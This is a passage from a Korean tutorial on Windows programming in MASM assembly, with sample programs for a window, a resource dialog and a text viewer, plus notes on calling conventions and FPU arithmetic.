option casemap:none

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 정의
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
NULL	=	0
MB_OK	=	0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; prototype
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
MessageBoxA       proto   :dword, :dword, :dword, :dword
GetModuleHandleA  proto   :dword
wsprintfA         proto c :dword, :dword, :dword
ExitProcess       proto   :dword

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; 데이터 세그먼트
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.data

MSG1	db	'인스턴스 핸들: 0x%X', 0
TITLE1	db	'타이틀', 0

;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; code segment
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.code

WinMainCRTStartup	proc
    ;---------------------------
    ; 로컬 변수
    ;---------------------------
    local pBuf[64] :byte
    local hModule  :dword

    ;---------------------------
    ; 프로그램 본체
    ;---------------------------
    invoke GetModuleHandleA, NULL
    mov    hModule, eax

    invoke wsprintfA, addr pBuf, offset MSG1, hModule

    invoke MessageBoxA, NULL, addr pBuf, offset TITLE1, MB_OK
    invoke ExitProcess, 0

    ret
WinMainCRTStartup	endp

end

프로시저 내부에서 local 지시어를 사용함으로써, 로컬 변수를 사용할 수가 있다. 위를 예에서 알수 있듯이, 로컬 변수의 선언은,

local  name[] :size

와 같이 한다. 위의 예에서는 배열을 지정했다. " 인스턴스 핸들: 0x400000"라는 결과가 나오게 된다.

Chapter 3 - 5   윈도우 생성

이제부터는, 실제로 윈도우를 생성해 본다. 프로그램의 내용이 좀 길지만 천천히 살펴보자.

;******************************************************************************
; 어셈블러 윈도우 프로그래밍 windows.asm
;******************************************************************************

.586
.model flat, stdcall
option casemap:none

;******************************************************************************
; 정의
;******************************************************************************

NULL              =       0
WM_DESTROY        =       2h
IDI_APPLICATION   =       32512
IDC_ARROW         =       32512
WHITE_BRUSH       =       0
WS_OVERLAPPED     =       00000000h
WS_SYSMENU        =       00080000h
WS_CAPTION        =       00C00000h
WS_EX_APPWINDOW   =       00040000h
SW_SHOWNORMAL     =       1
CW_USEDEFAULT     =       80000000h

HANDLE  typedef     dword
LPSTR   typedef     dword

POINT        struct
    x               dword   ?
    y               dword   ?
POINT        ends

WNDCLASS     struct
    style           dword   ?
    lpfnWndProc     dword   ?
    cbClsExtra      dword   ?
    cbWndExtra      dword   ?
    hInstance       HANDLE  ?
    hIcon           HANDLE  ?
    hCursor         HANDLE  ?
    hbrBackground   HANDLE  ?
    lpszMenuName    LPSTR   ?
    lpszClassName   LPSTR   ?
WNDCLASS     ends

MSG          struct
    hWnd            HANDLE  ?
    message         dword   ?
    wParam          dword   ?
    lParam          dword   ?
    time            dword   ?
    point           POINT   <?, ? >
MSG          ends

;******************************************************************************
; 프로시저 정의
;******************************************************************************

CreateWindowExA     proto   dwExStyle   :dword,
                            pClassName  :LPSTR,
                            pWindowName :LPSTR,
                            dwStyle     :dword,
                            x           :dword,
                            y           :dword,
                            nWidth      :dword,
                            nHeight     :dword,
                            hWndParent  :HANDLE,
                            hMenu       :HANDLE,
                            hInstance   :HANDLE,
                            pParam      :dword
RegisterClassA      proto   pWndClass   :dword
GetStockObject      proto   nObject     :dword
LoadIconA           proto   hInstance   :HANDLE,
                            lpIconName  :LPSTR
LoadCursorA         proto   hInstance   :HANDLE,
                            lpCurName   :LPSTR
GetMessageA         proto   lpMsg       :dword,
                            hWnd        :HANDLE,
                            nMsgFilMin  :dword,
                            nMsgFilMax  :dword
TranslateMessage    proto   lpMsg       :dword
DispatchMessageA    proto   lpMsg       :dword
PostQuitMessage     proto   nExitCode   :dword
DefWindowProcA      proto   hWnd        :HANDLE,
                            Msg         :dword,
                            wParam      :dword,
                            lParam      :dword
GetModuleHandleA    proto   lpstr       :LPSTR
ShowWindow          proto   hWnd        :HANDLE,
                            nCmdShow    :dword
UpdateWindow        proto   hWnd        :HANDLE
ExitProcess         proto   nExitCode   :dword

;*****************사용자 정의***********************
InitInstance        proto   hInstance   :HANDLE
CreateMyWindow      proto   hInstance   :HANDLE

;******************************************************************************
; 데이터 세그먼트
;******************************************************************************
    .data

ClassName   db  'FirstWnd', 0
WindowName  db  'First Application', 0

;******************************************************************************
; code segment
;******************************************************************************
    .code

;******************************************************************************
; 메인 함수
;******************************************************************************
WinMainCRTStartup    proc
    ;*************************
    ; 로컬 변수
    ;*************************
    local    msg     :MSG
    local    hWnd    :HANDLE
    local    hInst   :HANDLE

    ;*************************
    ; 프로그램
    ;*************************
    invoke GetModuleHandleA, NULL
    mov     hInst, eax

    invoke InitInstance, hInst
    cmp     eax, NULL
    je      ExitProg

    invoke CreateMyWindow, hInst
    cmp     eax, NULL
    je      ExitProg
    mov     hWnd, eax

    invoke ShowWindow, hWnd, SW_SHOWNORMAL
    invoke UpdateWindow, hWnd

MSGLOOP:
    invoke GetMessageA, addr msg, NULL, 0, 0
    or      eax, eax
    je      ExitProg

    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp     MSGLOOP

ExitProg:
    invoke ExitProcess, msg.wParam

    ret
WinMainCRTStartup    endp

;******************************************************************************
; 윈도우 클래스의 등록
;******************************************************************************
InitInstance    proc    hInstance:HANDLE
    ;*************************
    ; 로컬 변수
    ;*************************
    local    wc    :WNDCLASS

    ;*************************
    ; 프로그램
    ;*************************

    mov     wc.style, 0
    mov     wc.lpfnWndProc, offset MainWndProc
    mov     wc.cbClsExtra, 0
    mov     wc.cbWndExtra, 0

    mov     eax, hInstance
    mov     wc.hInstance, eax
	
    invoke LoadIconA, NULL, IDI_APPLICATION
    mov     wc.hIcon, eax

    invoke LoadCursorA, NULL, IDC_ARROW
    mov     wc.hCursor, eax

    invoke GetStockObject, WHITE_BRUSH
    mov     wc.hbrBackground, eax

    mov     wc.lpszMenuName, NULL
    mov     wc.lpszClassName, offset ClassName

    invoke RegisterClassA, addr wc

    ret
InitInstance    endp

;******************************************************************************
; 윈도우의 작성
;******************************************************************************
CreateMyWindow    proc    hInstance:HANDLE
    ;*************************
    ; 프로그램
    ;*************************

    invoke CreateWindowExA, WS_EX_APPWINDOW, offset ClassName,
        offset WindowName, WS_SYSMENU or WS_CAPTION, CW_USEDEFAULT,
        CW_USEDEFAULT, 300, 400, NULL, NULL, hInstance, NULL

    ret
CreateMyWindow    endp

;******************************************************************************
; 윈도우 프로시저
;******************************************************************************
MainWndProc    proc    hWnd:HANDLE, Msg:dword, wParam:dword, lParam:dword

    .if Msg == WM_DESTROY
        invoke PostQuitMessage, 0
    .else
        invoke DefWindowProcA, hWnd, Msg, wParam, lParam
    .endif

    ret
MainWndProc    endp

end

VC에서 실행(F5)하게 되면 "Line to long"이라고 에러가 나올것이다. 강좌에서는 편의상 여러줄로 했지만,

CreateWindowExA proto dwExStyle :dword ~ 이부분을 모두 한줄에 빈칸을 줄여서 작성해줘야한다.

프로그램을 보면 알 수 있듯이, Windows 프로그래밍은 코딩량이 많은것을 알 수가 있다. MASM32에는, 필요한 함수나 구조체의 정의를 정리한 파일을 제공해 주고있다. 그것을 사용하는것이 여러모로 편리할 것이다.

위의 프로그램에서는, 편의상 데이터형으로 핸들(HANDLE)과 문자열(LPSTR)과 정수로 나누고 있다.

MASM로 Windows 프로그래밍을 해 본 솔직한 의견으로는 MASM으로 Windows 프로그래밍을 할 정도라면, C 로하는 편이 훨씬 편하다. C와 비교해서 MASM으로 작성했다고 해서 특별히 빨라지는것도 아니기 때문에, 필요한 부분만 MASM 로 작성하는것이 주된 목적일 것이다. 좀 더 심하게 말해서 C의 인라인 어셈블러를 사용하는 것이 압도적으로 좋다.-_-;

 


Chapter 4   리소스의 이용

개요 : 리소스를 사용하는 경우

Chapter 4 - 1   리소스의 사용법

이번에는 리소스에 대해 설명한다. C언어에서 Windows 리소스를 사용하는것과 별다른 차이점은 없다.

그런데, 리소스에는 2 종류가 있다. 내부 리소스/외부 리소스라는 것이다.(필자의 사견이다)

내부 리소스는, 실행 파일에 포함되어있는 리소스이다. 실행 파일에 포함해 두면, 리소스 로딩을 빠르게 할 수가있다. 다만, 리소스가 실행 파일에 포함되므로, 실행파일의 크기가 커지게 되는 현상이 생긴다. 특히 비트맵과같은 것은 사이즈가 크므로 조심하기 바란다.

외부 리소스는, 문자 그대로 실행 파일에 포함되지 않는 리소스를 의미한다. 그러므로 실행중에 다른 파일로부터 로드하거나 스스로 만들어주지 않으면 사용할 수가 없다. 그런 만큼, 로딩하는 시간이 소모되게 된다.하지만, 메모리의 효율성에서는 더 좋다.

 

Chapter 4 - 2   인클루드 파일

상기의 예에서와 같이, 함수를 하나하나식 정의해서 사용한다면 매우 번거롭게 된다. 그래서 MASM32에 포함되어있는 함수와 정수를 정의한 인클루드 파일을 사용하게 된다. 다음의 4개의 파일을 기억해 두면 편리하다.

  1. windows.inc 윈도우관련정수가 정의되어 있는 인클루드 파일
  2. kernel32.inc 커널함수(코어 함수)가 정의되어 있는 파일
  3. user32.inc 유저함수(유저 인터페이스 함수)가 정의되어 있는 파일
  4. gdi32.inc GDI 함수(그래픽 디바이스 인터페이스 함수)가 정의되어 있는 파일

Chapter 4 - 3   아이콘과 다이얼로그 박스를 사용한 예

실제로 프로그램을 보자. 이번 예에서 사용하는 리소스는 다이얼로그 박스와 아이콘이다.

 

;******************************************************************************
; 리소스 사용 프로그램 resource.asm
;******************************************************************************

.486
.model flat, stdcall
option casemap:none

include <windows.inc>
include <kernel32.inc>
include <user32.inc>
include <gdi32.inc>

include <resource.inc>  ;리소스를 사용하므로 반드시 선언

;******************************************************************************
; prototype
;******************************************************************************

DlgProc             proto   hWnd    :HWND, 
                            Msg     :UINT, 
                            wParam  :WPARAM, 
                            lParam  :LPARAM
WinMainCRTStartup   proto
OnCommand           proto   hWnd    :HWND,
                            wParam  :WPARAM

;******************************************************************************
;  데이터 / 변수
;******************************************************************************

.data
MSG1    db          "정상적으로 표시되었는가? ", 0
TITLE1  db          "리소스 테스트", 0
hInst   HINSTANCE   ?

;******************************************************************************
;  코드
;******************************************************************************

.code
;------------------------------------------------------------------------------
;  다이얼로그 프로시저
;------------------------------------------------------------------------------
DlgProc proc \
    hWnd    : HWND,
    Msg     : UINT,
    wParam  : WPARAM,
    lParam  : LPARAM

    .if Msg == WM_INITDIALOG
        invoke LoadIconA, hInst, IDI_MAINICON
        invoke SendMessage, hWnd, WM_SETICON, ICON_BIG, eax
    .elseif Msg == WM_CLOSE
        invoke EndDialog, hWnd, 0
    .elseif Msg == WM_COMMAND
        invoke OnCommand, hWnd, wParam
    .else
        mov     eax, FALSE
        ret
    .endif

    mov     eax, TRUE
    ret
DlgProc endp

;------------------------------------------------------------------------------
;  커맨드 처리
;------------------------------------------------------------------------------
OnCommand proc \
    hWnd    : HWND,
    wParam  : WPARAM

    mov     eax, wParam
    and     eax, 0ffffh

    .if eax == IDOK
        invoke SendMessage, hWnd, WM_CLOSE, 0, 0
    .elseif eax == IDCANCEL
        invoke MessageBox, hWnd, addr MSG1, addr TITLE1, MB_OK
    .endif

    ret
OnCommand endp

;------------------------------------------------------------------------------
;  메인 프로시저
;------------------------------------------------------------------------------
WinMainCRTStartup proc
    invoke GetModuleHandle, NULL
    mov     hInst, eax
    invoke DialogBoxParamA, hInst, IDD_TEST, NULL, addr DlgProc, NULL
    invoke ExitProcess, 0
    ret
WinMainCRTStartup endp

;------------------------------------------------------------------------------
;  End of File
;------------------------------------------------------------------------------
end

위의 프로그램을 어셈블(assemble) 해서 실행해도 다이얼로그 박스는 표시되지 않는다. 왜냐하면, 아직 리소스를 만들지 않았기 때문이다. 다이얼로그 박스를 표시 하기 위해서는, 리소스로서 다이얼로그 박스를 만들어 주어야 한다. 아이콘을 사용한다면, 아이콘 리소스도 필요하다. 만든 리소스를 리소스 컴파일러로 컴파일 해서 실행 파일에 함께 링크 해주어야 리소스를 사용하는 것이 가능해진다. 다음과 같은 리소스를 만들어 보자.

먼저, 다이얼알로그 박스이다.

VC++로 작성하는 경우에는, 다음과 같이 프로퍼티를 설정한다.

프롭퍼티 내용
ID IDD_TEST = 101
Style Overlapped
Border Thin
More Style 「Center」을 체크

다음은, 아이콘이다, 하지만 이것은 마음대로 만들어도 좋다. 이 예제에서는, 다음과 같은 아이콘을 준비했다.

생성한 후 ID는 다음과 같이 지정한다.

ID IDI_MAINICON = 102

이제는, resource.inc 파일을 만든다. 이 파일에는 리소스의 ID를 저장해 둔다.

;******************************************************************************
; 리소스 ID정의 
;****************************************************************************** 
IDD_TEST     = 101 
IDI_MAINICON = 102

마쳤다면, 프로젝트를 빌드 하고 실행해준다. 이제는 화면에 다이얼로그박스가 표시되었을 것이다.


Chapter 5   Tips

개요 : 약간의 Tips

Chapter 5 - 1   인클루드 파일의 종류

지금까지, 대략이나마, MASM로 윈도우 프로그래밍을 접해 보았다.

이번은 조금 다른 얘기로 화제를 돌려보겠다. MASM 는 어셈블러이니까, 어찌보면 어려울 것 같이 생각될 수도 있지만, 실제론 전혀 어렵지는 않다. 오히려 C 를 했던 적이 있는 사람이라면, 아주 쉽게 이해 할 수가 있을 것이다.

MASM로 Windows 프로그래밍을 하는 경우, 함수를 반드시 정의하지 않으면 안된다. 그 함수를 매번 정의해서 사용하는 편보다는, 미리 헤더 파일에 모아 두고 사용하는 편이 더 좋을 것이다.

하지만 프로그래머가 직접 만들어서 사용해도 되지만, MASM32 헤더 파일을 사용하는것이 더편리하다.핵심적인 헤더파일을 설명하겠다.

코어 함수군
Include File 해설
windows.inc Windows 프로그래밍에서 사용하는 대부분의 정수의 정의.
kernel32.inc 커널(코어) 함수. 프로세스 관리, 파일 조작등의 함수가 정의.
user32.inc 유저 함수. 유저 인터페이스 함수의 정의.
gdi32.inc GDI 함수. 그래픽 디바이스 인터페이스 함수의 정의.
advapi32.inc 확장 함수. 암호화, 시큐리티, 레지스트리 조작등의 함수의 정의.
서브 함수군
Include File 해설
comctl32.inc 커먼 컨트롤
comdlg32.inc common dialog
d3drm.inc DirectX 3D Retained Mode
ddraw.inc DirectX DirectDraw
dinput.inc DirectX DirectInput
dplayx.inc DirectX DirectPlay
dsetup.inc DirectX DirectSetup
dsound.inc DirectX DirectSound
glaux.inc OpenGL
glu32.inc OpenGL
imm32.inc IME API
lsapi32.inc LS API
lz32.inc LZ 압축
netapi32.inc NetAPI
odbc32.inc ODBC API
opengl32.inc OpenGL
scrnsavew.inc Screen Saver API
setupapi.inc Setup API
shell32.inc Shell API
tapi32.inc Telephony API
wininet.inc Internet API
winmm.inc Multi Media API
winspool.inc Printer API
wsock32.inc WinSock API

좀 더 있지만, 이 정도로 만족하기 바란다.

Chapter 5 - 2   A와 W의 의미와 함수 호출 규약

함수명의 끝에 A 나 W 가 붙어 있는데 이것의 의미는 무엇일까?

실제로 문자열을 Unicode로 프로그래밍 하는 경우, W가 붙어 있는 함수를 사용한다. A가 붙어 있는 함수는, 문자열을 ASCII 코드로 프로그래밍 한다고 가정하는 것이다.

W 는 Wide 의 W이며 , A 는 Ascii (혹은 ANSI )의 A 이다.(맞겠지?)

MASM로 Windows 프로그래밍 하는 경우, 호출 규약에는 C 호출 규약과 STDCALL 의 호출 규약을 이용한다. 약간의 차이점이 존재한다.

VC++의 경우, 함수는 C 규약으로 통일되어 있다. 함수 수식자로서 __cdecl가 자동적으로 추가된다. API 에서는, __stdcall 로 정의되고 있다.(언더바가 2개이다)

실제로 WINAPI 나 CALLBACK 라고 하는 수식자는 __stdcall 이라고 정의되어 있다. API 로부터 호출되는 것을 생각하면 당연하다.

C 호출 규약과 STDCALL 호출 규약의 차이는, 스택을 오픈하는 추최가 누구인가에 따라 다르다. C는 호출한 측에서 스택을 오픈하고, STDCALL 은 함수의 내부에서 스택을 오픈한다. 다음은 C 와 STDCALL 의 호출 규약의 요약이다.

처리 C
(__cdecl)
STDCALL
(__stdcall)
함수명의 선두에 _ 를 추가
인수를 역순으로 스택에 푸쉬
인수 스택을 호출한 측에서 오픈 ×
인수 스택을 호출된 측에서 오픈 ×
VARARG 사용가능

자세한 부분은 MASM의 도움말을 참조하기 바란다.

Chapter 5 - 3   프로시저의 prototype 선언

함수(프로시저)의 호출을 수행할 경우, invoke 지시어를 사용하면 편하다.하지만 미리 prototype 선언을 수행해 주어야 한다. 또한 invoke 지시어는, 명시적으로 호출규약을 지정해 주어야만 사용할 수가 있다.

invoke 지시어는, 매크로와 비슷한 것으로, invoke를 사용하는 편이 함수호출이 더 수월해진다. 스택 처리를 자동화 해주기 때문이다.

또한, addr 와 offset 는 모두 변수 혹은 정수의 주소를 반환한다.차이점으로는,

offset 지시어만으로 프로그래밍할려면, 상당한 힘든경우가 있다. offset지시어는, 실행시의 스택주소를 얻을수 없기때문이다.이름 그대로, offset 은 식별자의 오프셋(offset)주소를 구해준다.

addr를 사용함으로써 , 실행시의 스택변수의 주소를 얻을 수가 있다.

Chapter 5 - 4   NULL와'\0'

한가지 주의할 것이, NULL = 0 혹은, '\0' = 0 아니다. 확실히, 헤더파일을 보면, NULL = 0 으로 정의되어 있다. 그러나 그것은 편의상 정의된것이므로, 의미적으로는 다르다. 혹시 다른 개발환경에는 NULL = -1 라고 정의되어 있을지도 모른다.

포인터나 핸들등이 정해지지 않았을 경우에는, 반드시 NULL 을 사용하도록 한다. Windows 로부터 구해지는 모든 핸들은, 실제로 (void *) 형태이므로 NULL을 사용하는 이유를 알 수 있을 것이다.

또다시 , C 언어 이야기로 되었지만, '\0'는 문자열의 끝을 나타내는 기호상수이므로, 문자열 외에서 사용해서는 안된다. NULL도 같이 맥락으로 정해진 용도 이외에는 사용하지 않는 것이 좋다.

 

Chapter 5 - 5   ExitProcess

Windows 프로그램을 종료할 경우에는 반드시, ExitProcess를 호출하도록 하자. 물론, 사용하지 않아도 프로그램을 종료할 수 있다.

하지만, DLL을 호출했을 경우, ExitProcess를 사용하지 않고 프로세스를 종료하면, 프로세스에서 로딩된 DLL이 메모리에 남게된다. ExitProcess를 호출하므로써, DLL에 프로그램이 종료하는 것을 전달되고, DLL도 메모리에서 해제된다.

 


Chapter 6   텍스트뷰어

개요 : 텍스트뷰어 작성

Chapter 6 - 1   텍스트뷰어 프로그램

지금까지의 단편된 지식을 이용해서, 이번에는 좀 더 실용적인(??) 프로그램을 만들어 보자. 실용적이라지만 단순히 텍스트 파일을 열고 화면에 내용을 표시하는 단순한 프로그램이다. API등의 지식은 MSDN이나 기타참조를 하기 바란다.

만드는 방법은 아주 간단하다. 윈도우의 작업영역에 에디트박스를 생성하면 끝이다.

실제로, WM_CREATE 메세지에서,작업영역에 에디트박스를 생성해주면 된다. 그림으로 표시하면 다음과 같다.

파일을 여는 기능만 수행하여, 파일의 내용을 볼수 있도록만 한다.

프로그램은 다음과 같다. → 프로젝트(VC++용)

 ; --------------------------------------------------------------------
 ;
 ;  Text Viewer main.asm
 ;
 ; --------------------------------------------------------------------
.586
.model flat, stdcall
option casemap:none

include <windows.inc>
include <kernel32.inc>
include <user32.inc>
include <gdi32.inc>
include <comdlg32.inc>

include <resource.inc>

 ; --------------------------------------------------------------------
 ;
 ;  Procedure Definitions
 ;
 ; --------------------------------------------------------------------

InitInstance        proto   hInstance   :HINSTANCE
CreateMyWindow      proto   hInstance   :HINSTANCE
OnCreate            proto   hWnd        :HWND
OnSize              proto   hWnd        :HWND
OnCommand           proto   hWnd        :HWND, 
                            id          :UINT
OnFileOpen          proto   hWnd        :HWND


 ; --------------------------------------------------------------------
 ;
 ;  Data
 ;
 ; --------------------------------------------------------------------

.data

CLASSNAME   DB  'FirstWnd', 0
TCLASSNAME  DB  'EDIT', 0
APPNAME     DB  '텍스트뷰어', 0
FILTER      DB  '텍스트 파일 (*. txt)', 0, '*. txt', 0
            DB  '워드 파일 (*. doc)', 0, '*. doc', 0, 0


g_hEditWnd  HWND    NULL
g_szFile    DB  260 DUP (0)

 
 ; --------------------------------------------------------------------
 ;
 ;  Code
 ;
 ; --------------------------------------------------------------------

.code

 ;******************************************************************************
 ; 메인 함수
 ;******************************************************************************

WinMainCRTStartup proc
    local    msg     :MSG
    local    hWnd    :HWND
    local    hInst   :HINSTANCE

    invoke GetModuleHandleA, NULL
    mov     hInst, eax

    invoke InitInstance, hInst
    cmp     eax, NULL
    je      _Exit

    invoke CreateMyWindow, hInst
    cmp     eax, NULL
    je      _Exit
    mov     hWnd, eax

    invoke ShowWindow, hWnd, SW_SHOWNORMAL
    invoke UpdateWindow, hWnd

 _MsgLoop:
    invoke GetMessageA, addr msg, NULL, 0, 0
    or      eax, eax
    je      _Exit

    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp     _MsgLoop

 _Exit:
    invoke ExitProcess, msg.wParam
    ret
WinMainCRTStartup endp

 ;******************************************************************************
 ; 윈도우 클래스의 등록 
 ;
 ;   ATOM InitInstance hInstance:HISNTANCE
 ;******************************************************************************

InitInstance proc \
    hInstance       :HINSTANCE
    local   wc      :WNDCLASS

    mov     wc.style, 0
    mov     wc.lpfnWndProc, offset MainWndProc
    mov     wc.cbClsExtra, 0
    mov     wc.cbWndExtra, 0

    mov     eax, hInstance
    mov     wc.hInstance, eax
	
    invoke LoadIconA, hInstance, IDI_MAIN_ICON
    mov     wc.hIcon, eax

    invoke LoadCursorA, NULL, IDC_ARROW
    mov     wc.hCursor, eax

    invoke GetStockObject, WHITE_BRUSH
    mov     wc.hbrBackground, eax

    mov     wc.lpszMenuName, IDR_MAIN_MENU
    mov     wc.lpszClassName, offset CLASSNAME

    invoke RegisterClassA, addr wc

    ret
InitInstance endp

 ;******************************************************************************
 ; 윈도우의 작성
 ;
 ;   HWND CreateMyWindow hInstance:HINSTANCE
 ;******************************************************************************

CreateMyWindow proc \
    hInstance   :HINSTANCE

    invoke CreateWindowExA,
        WS_EX_APPWINDOW, 
        offset CLASSNAME,
        offset APPNAME, 
        WS_OVERLAPPEDWINDOW, 
        CW_USEDEFAULT,
        CW_USEDEFAULT, 
        CW_USEDEFAULT, 
        CW_USEDEFAULT, 
        NULL, 
        NULL, 
        hInstance, 
        NULL

    ret
CreateMyWindow endp

 ;******************************************************************************
 ; 윈도우 프로시저
 ;   
 ;   LRESULT MainWndProc hWnd:HWND, Msg:DWORD, wParam:DWORD, lParam:DWORD
 ;******************************************************************************

MainWndProc proc \
    hWnd    :HWND, 
    Msg     :DWORD, 
    wParam  :DWORD, 
    lParam  :DWORD

    .if Msg == WM_DESTROY
        invoke PostQuitMessage, 0
    .elseif Msg == WM_CREATE
        invoke OnCreate, hWnd
    .elseif Msg == WM_SIZE
        invoke OnSize, hWnd
    .elseif Msg == WM_COMMAND
        mov     eax, wParam
        and     eax, 0000FFFFh
        invoke OnCommand, hWnd, eax
    .else
        invoke DefWindowProcA, hWnd, Msg, wParam, lParam
        ret
    .endif

    mov     eax, 0
    ret
MainWndProc endp

 ;******************************************************************************
 ; WM_CREATE 메세지의 처리
 ;
 ;   BOOL OnCreate hWnd : HWND
 ;******************************************************************************

OnCreate proc \
    hParentWnd      :HWND
    local   hInst   :HINSTANCE
    local   rc      :RECT

    invoke GetModuleHandle, NULL
    mov     hInst, eax

    invoke GetClientRect, hParentWnd, addr rc

    invoke CreateWindowExA,
        WS_EX_CLIENTEDGE, 
        offset TCLASSNAME,
        NULL, 
        WS_VISIBLE or WS_CHILD or ES_MULTILINE or ES_AUTOHSCROLL \
        or ES_AUTOVSCROLL or WS_HSCROLL or WS_VSCROLL, 
        0,
        0, 
        rc.right, 
        rc.bottom, 
        hParentWnd, 
        NULL, 
        hInst, 
        NULL
    mov     g_hEditWnd, eax

    invoke SendMessage, g_hEditWnd, EM_SETLIMITTEXT, 0FFFFh, 0

    mov     eax, TRUE
    ret
OnCreate endp

 ;******************************************************************************
 ; WM_SIZE 메세지의 처리
 ;
 ;   void OnSize hWnd :HWND
 ;******************************************************************************

OnSize proc \
    hWnd        :HWND
    local   rc  :RECT

    invoke GetClientRect, hWnd, addr rc

    invoke SetWindowPos, g_hEditWnd, NULL, 0, 0, 
        rc.right, rc.bottom, SWP_NOMOVE or SWP_NOZORDER
    ret
OnSize endp

 ;******************************************************************************
 ; WM_COMMAND 메세지의 처리
 ;
 ;   void OnCommand hWnd:HWND, id:UINT
 ;******************************************************************************

OnCommand proc \
    hWnd    :HWND,
    id      :UINT
    
    .if id == IDM_EXIT
        invoke SendMessage, hWnd, WM_CLOSE, 0, 0
    .elseif id == IDM_FOPEN
        invoke OnFileOpen, hWnd
    .endif

    ret
OnCommand endp

 ;******************************************************************************
 ; IDM_FOPEN 메뉴 메세지의 처리
 ;
 ;   void OnFileOpen hWnd:HWND
 ;******************************************************************************

OnFileOpen proc \
    hWnd            :HWND
    local   ofn     :OPENFILENAME
    local   hFile   :HANDLE
    local   pBuffer :DWORD
    local   dwRead  :DWORD

    ;  파일 오픈 다이얼로그 표시
    invoke RtlZeroMemory, addr ofn, sizeof OPENFILENAME

    mov     ofn.lStructSize, sizeof OPENFILENAME
    mov     eax, hWnd
    mov     ofn.hWndOwner, eax
    mov     ofn.lpstrFile, offset g_szFile
    mov     ofn.nMaxFile, 260
    mov     ofn.lpstrFilter, offset FILTER
    mov     ofn.nFilterIndex, 1
    mov     ofn.lpstrFileTitle, NULL
    mov     ofn.nMaxFileTitle, 0
    mov     ofn.lpstrInitialDir, NULL
    mov     ofn.Flags, OFN_PATHMUSTEXIST or OFN_FILEMUSTEXIST \
            or OFN_HIDEREADONLY

    invoke GetOpenFileName, addr ofn

    or      eax, eax
    je      _OnFileExit

    ; 파일을 연다
    invoke CreateFile, ofn.lpstrFile, GENERIC_READ, 0, NULL, 
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    mov     hFile, eax

    ; 데이터용 버퍼의 확보
    invoke GlobalAlloc, GPTR, 0FFFFh
    mov     pBuffer, eax

    ; 데이터의 해석
    invoke ReadFile, hFile, pBuffer, 0FFFFh, addr dwRead, NULL

    ; 데이터의 기록
    invoke SetWindowText, g_hEditWnd, pBuffer

    ; 버퍼를 삭제
    invoke GlobalFree, pBuffer

    ; 파일 핸들을 닫는다
    invoke CloseHandle, hFile

 _OnFileExit:
    ret
OnFileOpen endp

end

파일을 선택하는 기능은, common dialog의 파일 오픈 다이얼로그를 사용하고 있다. 이것을 사용하는 것으로, 아주 쉽게 파일선택을 할 수가 있다. 자세한 내용은 프로그램을 참조하기 바란다.

빌드 할 때의 주의 사항으로는, common dialog 박스를 사용하므로, common dialog 박스를 사용하기 위해서는, common dialog 박스의 동적 링크 라이브러리(DLL)의 라이브러리를 링크 해주어야 한다. (commlib.lib ?부분 참조 )


Chapter 7   FPU로 수치 연산

개요 : 부동 소수점 연산에 대해

Chapter 7 - 1   부동 소수점 연산에 대해

FPU를(Float Point Unit) 이용한 부동 소수점 연산에 대해, 설명을 한다. 통합 환경으로는 VC++ 를 사용하지만,굳이 VC++가 아니여도 사용할 수 있다. 실제 계산 인스트럭션에 대해서도, 본 설명서에서 자세히 설명하지 않는다. 인텔 메뉴얼을 참조하기 바란다.

이글을 보고 있는 사람은, FPU의 기능을 모르는 사람은 없다는 가정이다. FPU는, 부동 소수점 연산용을 하기 위한 전용 유닛이다. 80386 CPU 까지는 옵션사항이 였지만, 80486부터는 표준으로 CPU내부에 장착되어 있다.

(80486SX는 예외)

FPU에는, 몇개의 레지스터와 전용 인스트럭션이 존재한다. 계산용 레지스터로 8개의 스택타입의 레지스터가 장착되어있다. 계산 인스트럭션에는, 가감승제, 초월함수, 삼각함수 등 수치 계산에 필요한 기능은 대부분 제공되어 있다.

Chapter 7 - 2   FPU용 레지스터

부동 소수점 계산용의 레지스터로 8개의 레지스터가 준비되어 있다. 하지만, 왜 스택형식의 레지스터일까?

실제로 계산을 하려면 스택을 사용하는 것이 여러모로 편하다. 이것은 알고리즘책등에서 스택을 이용해 계산하는것을 본사람도 있을것이다.

실제로 역폴랜드 기법의 계산법으로 프로그래밍 할것이다. 그러므로 레지스터가 몇개 있는지를 의식하지 않아도, 프로그래밍을 해 나갈 수가 있다. (물론 8개를 넘겨서 프로그램을 작성하는 경우에는, 문제가 있다) 이런 방식은 , 스택에 독립적으로 데이터를 읽어들이고,, 역폴랜드식의 계산방법을 무시하고 계산하면, FPU를 사용하는 것기능에도 불구하고 늦어지는 일이 발생할 수 있으므로 주의가 필요하다.

계산시에 특정스택을 다루고 싶은 경우는, st(n)라는 표기법을 사용한다. n 에는, 현재스택으로부터 n 번째의 스택을 지정한다. 예를 들면, 현재 스택 탑으로부터 한단계전의 스택내용을 참조하고 싶은 경우에는, st(1)로 사용한다. 2개전이라면 st(2)로 한다.

다만, 미사용영역의 스택에 액세스 하게되면 에러가 된다.

Chapter 7 - 3   프로그래밍의 방법

실제로, 아래와 같은 계산을 수행해보자.

( 5.98 + 34.89 ) * (34.89 - 23.0)

이 계산을 실제로 부동 소수점 인스트럭션을 이용해서 프로그래밍하면, 다음과 같다.

; _a = 5.98, _b = 34.89, _c = 23.0 으로 한다

fld     _a  ; ①FPU스택에 _a 의 값을 푸쉬
fadd    _b  ; ②현재스택의 값과 _b 의 값을 더한다

fld     _b  ; ③FPU스택에 _b 의 값을 푸쉬
fsub    _c  ; ④현재스택의 값으로부터 _c 의 값을 뺀다

fmul        ; ⑤현재스택과 한단계전의 스택값을 곱해서 한단계전의 스택에 푸쉬

이런 계산을 할 경우, 스택에 실제로 어떻게 데이터가 싸이는지 알아보자.스택은 다음과 같이 운용된다.

Chapter 7 - 4   실제 프로그래밍

그렇다면, 실제로 프로그램을 작성해보자. 수치 연산의 부분을 MASM로 작성하고, C언어로 그 연산을 호출하는 형태로 작성한다. 먼저 C언어의 프로그램은 다음과 같다.

#include <stdio.h>

#ifdef __cplusplus
